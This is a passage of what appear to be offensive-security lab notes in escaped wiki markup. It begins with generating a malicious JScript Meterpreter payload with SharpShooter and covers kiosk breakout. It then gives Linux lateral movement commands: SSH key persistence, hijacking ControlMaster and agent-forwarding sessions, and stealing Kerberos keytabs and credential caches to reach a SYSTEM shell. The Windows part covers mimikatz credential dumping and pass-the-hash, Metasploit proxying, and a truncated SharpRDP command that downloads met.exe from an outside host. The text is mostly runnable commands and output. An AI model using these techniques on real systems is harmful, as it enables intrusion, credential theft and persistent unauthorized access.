&#039;&#039;&#039;Generating malicious Jscript file with SharpShooter:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Invoke the SharpShooter tool with appropriate parameters:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  sudo python SharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile /var/www/html/shell.txt --output test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Notes:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--payload js&amp;lt;/code&amp;gt;: This specifies a Jscript output format.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--dotnetver 4&amp;lt;/code&amp;gt;: Sets the targeted .NET framework version.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--stageless&amp;lt;/code&amp;gt;: Specifies in-memory execution of the Meterpreter shellcode. In SharpShooter, &amp;quot;stageless&amp;quot; refers to the method of transferring the entire Jscript payload.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--rawscfile&amp;lt;/code&amp;gt;: Specifies the file that contains our shellcode.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--output&amp;lt;/code&amp;gt;: Sets the output file name (excluding the file extension).&lt;br /&gt;
&lt;br /&gt;
== Kiosk Breakout ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/hardware-physical-access/escaping-from-gui-applications Escaping from KIOSKs - HackTricks]&lt;br /&gt;
&lt;br /&gt;
=== URIs (Uniform Resource Identifiers) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Used to access locally-stored pages and files.&lt;br /&gt;
file://&lt;br /&gt;
# Access to internal Chrome browser pages and settings.&lt;br /&gt;
chrome://&lt;br /&gt;
# File Transfer Protocol, used for transferring files over the Internet.&lt;br /&gt;
ftp://&lt;br /&gt;
# Used to open the default mail client and initiate composing an email.&lt;br /&gt;
mailto:&lt;br /&gt;
# SMB protocol, commonly used for local network file sharing.&lt;br /&gt;
smb://&lt;br /&gt;
# Embeds data like inline images directly into content.&lt;br /&gt;
data:&lt;br /&gt;
# Initiates a call using the designated telephone number.&lt;br /&gt;
tel:&lt;br /&gt;
# Executes JavaScript code from a URL or hyperlink.&lt;br /&gt;
javascript:&lt;br /&gt;
# Represents data formats like images or other binary data.&lt;br /&gt;
blob:&lt;br /&gt;
# Used by torrent clients to download files.&lt;br /&gt;
magnet:&lt;br /&gt;
# Starts an SSH session.&lt;br /&gt;
ssh:&lt;br /&gt;
# Real-Time Messaging Protocol for streaming content.&lt;br /&gt;
rtmp:&lt;br /&gt;
# Directory services protocol.&lt;br /&gt;
ldap:&lt;br /&gt;
# An older document retrieval protocol.&lt;br /&gt;
gopher:&lt;br /&gt;
# WebSockets for real-time communication.&lt;br /&gt;
ws:&lt;br /&gt;
# Secure WebSockets.&lt;br /&gt;
wss:&lt;br /&gt;
# Denotes the XMPP/Jabber messaging protocol.&lt;br /&gt;
xmpp:&lt;br /&gt;
# Accessing newsgroups.&lt;br /&gt;
news:&lt;br /&gt;
# Protocol for accessing newsgroups.&lt;br /&gt;
nntp:&lt;br /&gt;
# Common in VoIP services.&lt;br /&gt;
sip:&lt;br /&gt;
# Defines geographical coordinates.&lt;br /&gt;
geo:&lt;br /&gt;
# Represents Bitcoin addresses for transactions.&lt;br /&gt;
bitcoin:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Kiosk Breakout ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Windows Explorer and Applications:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Liabilities:&#039;&#039;&#039;&lt;br /&gt;
Windows Explorer integration in apps can be a kiosk security issue.&lt;br /&gt;
&lt;br /&gt;
* Especially true for Internet Explorer, foundational for many kiosks.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be substituted for full file paths in browser-based kiosks.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example:&#039;&#039;&#039; %APPDATA% → local folder for app data storage.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
%ALLUSERSPROFILE%   →   C:\Documents and Settings\All Users&lt;br /&gt;
%APPDATA%           →   C:\Documents and Settings\Username\Application Data&lt;br /&gt;
%COMMONPROGRAMFILES%        →   C:\Program Files\Common Files&lt;br /&gt;
%COMMONPROGRAMFILES(x86)%   →   C:\Program Files (x86)\Common Files&lt;br /&gt;
%COMSPEC%           →   C:\Windows\System32\cmd.exe&lt;br /&gt;
%HOMEDRIVE%         →   C:\&lt;br /&gt;
%HOMEPATH%          →   C:\Documents and Settings\Username&lt;br /&gt;
%PROGRAMFILES%      →   C:\Program Files&lt;br /&gt;
%PROGRAMFILES(X86)% →   C:\Program Files (x86) (64-bit version only)&lt;br /&gt;
%SystemDrive%       →   C:\&lt;br /&gt;
%SystemRoot%        →   C:\Windows&lt;br /&gt;
%TEMP% &amp;amp; %TMP%      →   C:\Documents and Settings\Username\Local Settings\Temp&lt;br /&gt;
%USERPROFILE%       →   C:\Documents and Settings\Username&lt;br /&gt;
%WINDIR%            →   C:\Windows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. UNC Paths:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Enter full UNC paths in user input boxes or file browsers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example: &#039;&#039;&#039;&amp;lt;code&amp;gt;\127.0.0.1\C$\Windows\System32&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;shell:&amp;quot; shortcut in file browser dialogs.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
shell:System                  →   Opens the system folder&lt;br /&gt;
shell:Common Start Menu       →   Opens the Public Start Menu folder&lt;br /&gt;
shell:Downloads               →   Opens the user&#039;s Downloads folder&lt;br /&gt;
shell:MyComputerFolder        →   Opens the “This PC” window&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Browser-Protocol Style Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;&amp;lt;code&amp;gt;file:///&amp;lt;/code&amp;gt;&amp;quot; to access apps or files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Windows Search Functionality:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use embedded search boxes to navigate to a file from the search results.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7. Help Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use it to search for utilities like Notepad, cmd.exe, or PowerShell.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8. File Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039;&lt;br /&gt;
Create shortcuts in a file browser dialog.&lt;br /&gt;
&lt;br /&gt;
* Modify the shortcut target application to an app like cmd.exe or powershell.exe.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;9. Drag and Drop:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Start apps by dragging and dropping files onto them. (Useful: cmd.exe and powershell.exe)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10. Print Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be used to access Windows Explorer features.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use keyboard combinations to expand access.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
!      →   Help&lt;br /&gt;
C+P    →   Print Dialog&lt;br /&gt;
E+A    →   Task Switcher&lt;br /&gt;
G+R    →   Run menu&lt;br /&gt;
C+~    →   Start Menu&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;12. Bypassing Whitelisting or Blacklisting:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Strategies:&#039;&#039;&#039;&lt;br /&gt;
Copy and paste binaries, rename and run.&lt;br /&gt;
&lt;br /&gt;
* Modify hash, filename, or filepath to bypass blacklists.&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Linux ==&lt;br /&gt;
&lt;br /&gt;
=== SSH Persistence ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Generate SSH Keypair on Kali VM:&lt;br /&gt;
kali@kali:~# ssh-keygen&lt;br /&gt;
# View and Copy the Public Key:&lt;br /&gt;
cat /home/kali/.ssh/id_rsa.pub&lt;br /&gt;
# Insert the Public Key on the Target Machine:&lt;br /&gt;
linuxvictim@linuxvictim:~$ echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2E....ANSzp9EPhk4cIeX8= kali@kali&amp;quot; &amp;gt;&amp;gt; /home/linuxvictim/.ssh/authorized_keys&lt;br /&gt;
# SSH into the Target Machine without a Password:&lt;br /&gt;
kali@kali:~$ ssh linuxvictim@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH with ControlMaster ===&lt;br /&gt;
&lt;br /&gt;
ControlMaster is a feature that enables sharing of multiple SSH sessions over a single network connection. This functionality can be enabled for a given user by editing their local SSH configuration file (~/.ssh/config).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Create SSH Config if it does not exist:&lt;br /&gt;
offsec@controller:~$ cat &amp;gt; ~/.ssh/config&lt;br /&gt;
    Host *&lt;br /&gt;
    ControlPath ~/.ssh/controlmaster/%r@%h:%p&lt;br /&gt;
    ControlMaster auto&lt;br /&gt;
    ControlPersist 10m&lt;br /&gt;
# 2. Set Correct File Permissions:&lt;br /&gt;
offsec@controller:~$ chmod 644 ~/.ssh/config&lt;br /&gt;
# 3. Create ControlMaster Directory if it does not already exists:&lt;br /&gt;
offsec@controller:~$ mkdir ~/.ssh/controlmaster&lt;br /&gt;
# 4. To test this theory, you first need to ssh to the linuxvictim machine. After you ssh&#039;d, exit the session and list files. As you can see there is a socket file now:&lt;br /&gt;
offsec@controller:~$ ls -al ~/.ssh/controlmaster/&lt;br /&gt;
total 8&lt;br /&gt;
drwxrwxr-x 2 offsec offsec 4096 May 13 16:22 .&lt;br /&gt;
drwx------ 3 offsec offsec 4096 May 13 13:55 ..&lt;br /&gt;
srw------- 1 offsec offsec 0 May 13 16:22 offsec@linuxvictim:22&lt;br /&gt;
# 5. Now you can SSH Without Password (piggybacking active session):&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
# 6. SSH to the controller again, but now as the root user:&lt;br /&gt;
# List available sockets:&lt;br /&gt;
root@controller:~# ls -al /home/offsec/.ssh/controlmaster&lt;br /&gt;
# Now you can piggyback the active session with root user, without using the password:&lt;br /&gt;
root@controller:~# ssh -S /home/offsec/.ssh/controlmaster/offsec\@linuxvictim\:22 offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH using SSH-Agent and SSH Agent Forwarding ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;:&lt;br /&gt;
SSH-Agent: Manages user&#039;s private keys.&lt;br /&gt;
&lt;br /&gt;
* SSH Agent Forwarding: Allows SSH-Agent usage on an intermediate server, mimicking a local agent.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Advantages&#039;&#039;&#039;:&lt;br /&gt;
Doesn&#039;t require private key storage on the intermediate server.&lt;br /&gt;
&lt;br /&gt;
* Users don’t repeatedly input passphrases.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How It Works&#039;&#039;&#039;:&lt;br /&gt;
SSH key requests from destination servers are passed through intermediate hosts to the originating client&#039;s SSH Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create SSH Key Pair:&lt;br /&gt;
ssh-keygen&lt;br /&gt;
# Copy Public Key to Servers:&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@controller&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@linuxvictim&lt;br /&gt;
# Enable Agent Forwarding on Kali Machine:&lt;br /&gt;
# Add in ~/.ssh/config:&lt;br /&gt;
ForwardAgent yes&lt;br /&gt;
# Allow Agent Forwarding on Controller Server:&lt;br /&gt;
# Add in /etc/ssh/sshd_config:&lt;br /&gt;
AlowAgentForwarding yes&lt;br /&gt;
# Start SSH-Agent:&lt;br /&gt;
kali@kali:~$ eval `ssh-agent`&lt;br /&gt;
# Add Keys to SSH-Agent:&lt;br /&gt;
kali@kali:~$ ssh-add&lt;br /&gt;
# Connect using SSH-Agent Forwarding:&lt;br /&gt;
kali@kali:~$ ssh offsec@controller&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux Kerberos ===&lt;br /&gt;
&lt;br /&gt;
==== General Syntax ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Logging in to the linuxvictim System&lt;br /&gt;
kali@kali:~$ ssh administrator@corp1.com@linuxvictim&lt;br /&gt;
# Note: We are using Active Directory credentials here.&lt;br /&gt;
# Kerberos Tickets and Credential Cache&lt;br /&gt;
#	• AD members using Kerberos authentication get a credential cache file.&lt;br /&gt;
#	• The cache file location is set via KRB5CCNAME environment variable.&lt;br /&gt;
#	• To find the administrator’s credential cache file:&lt;br /&gt;
env | grep KRB5CCNAME&lt;br /&gt;
# Acquiring Kerberos Tickets&lt;br /&gt;
#	• Kerberos tickets expire after some time.&lt;br /&gt;
#	• Use kinit command to get a ticket-granting ticket (TGT) for the current user.&lt;br /&gt;
kinit&lt;br /&gt;
#	• List stored tickets using klist:&lt;br /&gt;
klist&lt;br /&gt;
# Deleting Cached Tickets&lt;br /&gt;
kdestroy&lt;br /&gt;
# Accessing Kerberos Services&lt;br /&gt;
#	• Get a list of available Service Principal Names (SPN) using ldapsearch with #Kerberos authentication:&lt;br /&gt;
ldapsearch -Y GSSAPI -H ldap://dc01.corp1.com -D &amp;quot;Administrator@CORP1.COM&amp;quot; -W -b &amp;quot;dc=corp1,dc=com&amp;quot; &amp;quot;servicePrincipalName=*&amp;quot;&lt;br /&gt;
# -Y GSSAPI - Force LDAP to use kerberos authentication&lt;br /&gt;
# Requesting a Service Ticket&lt;br /&gt;
#	• Use the kvno utility:&lt;br /&gt;
kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
#	• Confirm the ticket acquisition with klist:&lt;br /&gt;
klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_607000500_wJiOow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
Valid starting       Expires              Service principal&lt;br /&gt;
10/05/2023 14:02:39  10/06/2023 00:02:39  krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:26  10/06/2023 00:02:39  ldap/dc01.corp1.com@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:54  10/06/2023 00:02:39  MSSQLSvc/DC01.corp1.com:1433@CORP1.COM&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stealing Keytab files ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Automate authentication to Kerberos resources without using a password.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Keytab Files&#039;&#039;&#039;: Contain a Kerberos principal name and encrypted keys.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Creating a Sample Keytab&lt;br /&gt;
administrator@corp1.com@linuxvictim:~$ ktutil&lt;br /&gt;
ktutil: addent -password -p administrator@CORP1.COM -k 1 -e rc4-hmac&lt;br /&gt;
Password for administrator@CORP1.COM: [User Password Entered Here]&lt;br /&gt;
ktutil: wkt /tmp/administrator.keytab&lt;br /&gt;
ktutil: quit&lt;br /&gt;
# Keytab file created at /tmp/administrator.keytab.&lt;br /&gt;
# Potential Misuse of Keytab Files&lt;br /&gt;
# 	• With root access, keytab can be used maliciously.&lt;br /&gt;
root@linuxvictim:~# kinit administrator@CORP1.COM -k -t /tmp/administrator.keytab&lt;br /&gt;
# Verifying the Loaded Tickets&lt;br /&gt;
root@linuxvictim:~# klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_1000&lt;br /&gt;
Default principal: administrator@CORP1.COM&lt;br /&gt;
Valid starting    Expires            Service principal&lt;br /&gt;
07/30/2020 15:18:34 07/31/2020 01:18:34 krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
renew until 08/06/2020 15:18:34&lt;br /&gt;
# Renewing Expired Tickets&lt;br /&gt;
       • Renew tickets if expired but within renewal timeframe.&lt;br /&gt;
root@linuxvictim:~# kinit -R&lt;br /&gt;
# Exploiting Loaded Keytab Files&lt;br /&gt;
#       • Authenticate as the domain admin.&lt;br /&gt;
root@linuxvictim:~# smbclient -k -U &amp;quot;CORP1.COM\administrator&amp;quot; //DC01.CORP1.COM/C$&lt;br /&gt;
WARNING: The &amp;quot;syslog&amp;quot; option is deprecated&lt;br /&gt;
Try &amp;quot;help&amp;quot; to get a list of possible commands.&lt;br /&gt;
smb: \&amp;gt; ls&lt;br /&gt;
	$Recycle.Bin DHS 0 Sat Sep 15 03:19:00 2018&lt;br /&gt;
	Documents and Settings DHS 0 Tue Jun 9 13:50:42 2020&lt;br /&gt;
	pagefile.sys AHS 738197504 Fri Oct 2 11:25:15 2020&lt;br /&gt;
	PerfLogs D 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
	Program Files DR 0 Mon Jun 15 08:10:03 2020&lt;br /&gt;
	Program Files (x86) D 0 Tue Jun 9 08:43:21 2020&lt;br /&gt;
ProgramData DH 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Abusing Credential Cache files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Lets say you find a cached credential file in /tmp.&lt;br /&gt;
offsec@linuxvictim:~$ ls -al /tmp/krb5cc_*&lt;br /&gt;
Output:&lt;br /&gt;
-rw------- 1 offsec offsec 1430 Jul 30 15:17 /tmp/krb5cc_1000&lt;br /&gt;
-rw------- 1 administrator@corp1.com domain users@corp1.com 4016 Jul 30 15:11 /tmp/krb5cc_607000500_3aeIA5&lt;br /&gt;
# You can copy, and take ownership of the cache file&lt;br /&gt;
offsec@linuxvictim:~$ sudo cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ sudo chown offsec:offsec /tmp/krb5cc_minenow&lt;br /&gt;
&lt;br /&gt;
-rw------- 1 offsec offsec 4016 Jul 30 15:20 /tmp/krb5cc_minenow&lt;br /&gt;
# Now, to use the stole cache file. First destroy the current keys.&lt;br /&gt;
# Then set the environment variable KRB5CCNAME to specify the location of the Kerberos credentials cache.&lt;br /&gt;
offsec@linuxvictim:~$ kdestroy&lt;br /&gt;
offsec@linuxvictim:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
Output:&lt;br /&gt;
klist: No credentials cache found (filename: /tmp/krb5cc_1000)&lt;br /&gt;
...&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_minenow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
# Requesting Service Tickets with the Stolen Cache&lt;br /&gt;
offsec@linuxvictim:~$ kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
&lt;br /&gt;
MSSQLSvc/DC01.corp1.com:1433@CORP1.COM: kvno = 2&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Using Kerberos ticket locally ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#  Copy the victim&#039;s stolen ccache file to the Kali machine.&lt;br /&gt;
kali@kali:~$ scp offsec@linuxvictim:/tmp/krb5cc_minenow /tmp/krb5cc_minenow&lt;br /&gt;
# Set the KRB5CCNAME environment variable to use the victim&#039;s Kerberos tickets.&lt;br /&gt;
kali@kali:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
# These utilities help in performing ticket manipulation tasks.&lt;br /&gt;
kali@kali:~$ sudo apt install krb5-user&lt;br /&gt;
# Determine the IP address of the domain controller and configure the hosts file to recognize it.&lt;br /&gt;
offsec@linuxvictim:~$ host corp1.com&lt;br /&gt;
# Update the /etc/hosts file with domain controller details.&lt;br /&gt;
# Set up Proxy for Kerberos Authentication:&lt;br /&gt;
# The idea is to make it seem like the authentication requests are coming from the domain-joined host.&lt;br /&gt;
#	• Adjust proxy settings: Comment out proxy_dns in /etc/proxychains.conf.&lt;br /&gt;
#	• Create a SOCKS server using SSH on the compromised server.&lt;br /&gt;
kali@kali:~$ ssh offsec@linuxvictim -D 9050&lt;br /&gt;
# Get Users SPN&lt;br /&gt;
proxychains python3 GetUserSPNs.py -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# List all AD users from domain&lt;br /&gt;
proxychains python3 GetADUsers.py -all -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# Use Impacket&#039;s psexec to get a shell.&lt;br /&gt;
kali@kali:~$ proxychains python3 psexec.py Administrator@DC01.CORP1.COM -k -no-pass&lt;br /&gt;
ProxyChains-3.1 ( http://proxychains.sf.net)&lt;br /&gt;
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation&lt;br /&gt;
...&lt;br /&gt;
[*] Requesting shares on DC01.CORP1.COM.....&lt;br /&gt;
[*] Found writable share ADMIN$&lt;br /&gt;
[*] Uploading file tDwixbpM.exe&lt;br /&gt;
[*] Opening SVCManager on DC01.CORP1.COM.....&lt;br /&gt;
[*] Creating service cEiR on DC01.CORP1.COM.....&lt;br /&gt;
[*] Starting service cEiR.....&lt;br /&gt;
...&lt;br /&gt;
[!] Press help for extra shell commands&lt;br /&gt;
...&lt;br /&gt;
Microsoft Windows [Version 10.0.17763.1282]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt; whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Windows ==&lt;br /&gt;
&lt;br /&gt;
=== RDP ===&lt;br /&gt;
&lt;br /&gt;
* Pass the hash using mimikatz.exe and mstsc.exe (Remote desktop).&lt;br /&gt;
&lt;br /&gt;
* Require local administrator to dump the NTLM hashes&lt;br /&gt;
&lt;br /&gt;
* Restricted Admin Mode allows RDP connections without saving credentials on the remote machine.&lt;br /&gt;
It mitigates credential theft on the target system during the RDP session.&lt;br /&gt;
&lt;br /&gt;
* The mode is disabled by default but can be enabled via a registry entry.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
# If LSA protection is enabled, scroll a bit up to know how to disable it.&lt;br /&gt;
# Once the hash is captured, pass it using the command. mstsc.exe window will popup.&lt;br /&gt;
mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:&amp;quot;mstsc.exe /restrictedadmin&amp;quot;&lt;br /&gt;
# If restricted admin is disabled, enable it by using powershell on target machine&lt;br /&gt;
 mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:powershell&lt;br /&gt;
# A Powershell window wil popup.&lt;br /&gt;
Enter-PSSession -Computer appsrv01&lt;br /&gt;
# Enabled Restricted Admin mode&lt;br /&gt;
 New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Disable RAM&lt;br /&gt;
Remove-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse RDP Proxying with Metasploit ====&lt;br /&gt;
&lt;br /&gt;
* Access machines protected by firewalls and NAT configurations via reverse proxying.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisite:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Already have an established meterpreter session&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Background current meterpreter shell&lt;br /&gt;
background&lt;br /&gt;
# Set Up Autoroute in Metasploit:&lt;br /&gt;
msf5 exploit(multi/handler) &amp;gt; use multi/manage/autoroute&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; set session 1&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; exploit&lt;br /&gt;
# Configure SOCKS Proxy:&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; use auxiliary/server/socks5&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; set srvhost 127.0.0.1&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; exploit -j&lt;br /&gt;
# Set Up Proxychains for Reverse Tunnel:&lt;br /&gt;
#     Add the SOCKS5 proxy IP and port to Proxychains config:&lt;br /&gt;
kali@kali:~$ sudo bash -c &#039;echo &amp;quot;socks5 127.0.0.1 1080&amp;quot; &amp;gt;&amp;gt; /etc/proxychains.conf&#039;&lt;br /&gt;
# Now you can RDP to target that is protected by edge firewall&lt;br /&gt;
kali@kali:~$ proxychains rdesktop 192.168.120.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SharpRDP.exe - Console rdp ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0xthirteen/SharpRDP https://github.com/0xthirteen/SharpRDP]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sharprdp.exe computername=appsrv01 command=&amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/met.exe&#039;,&lt;br /&gt;
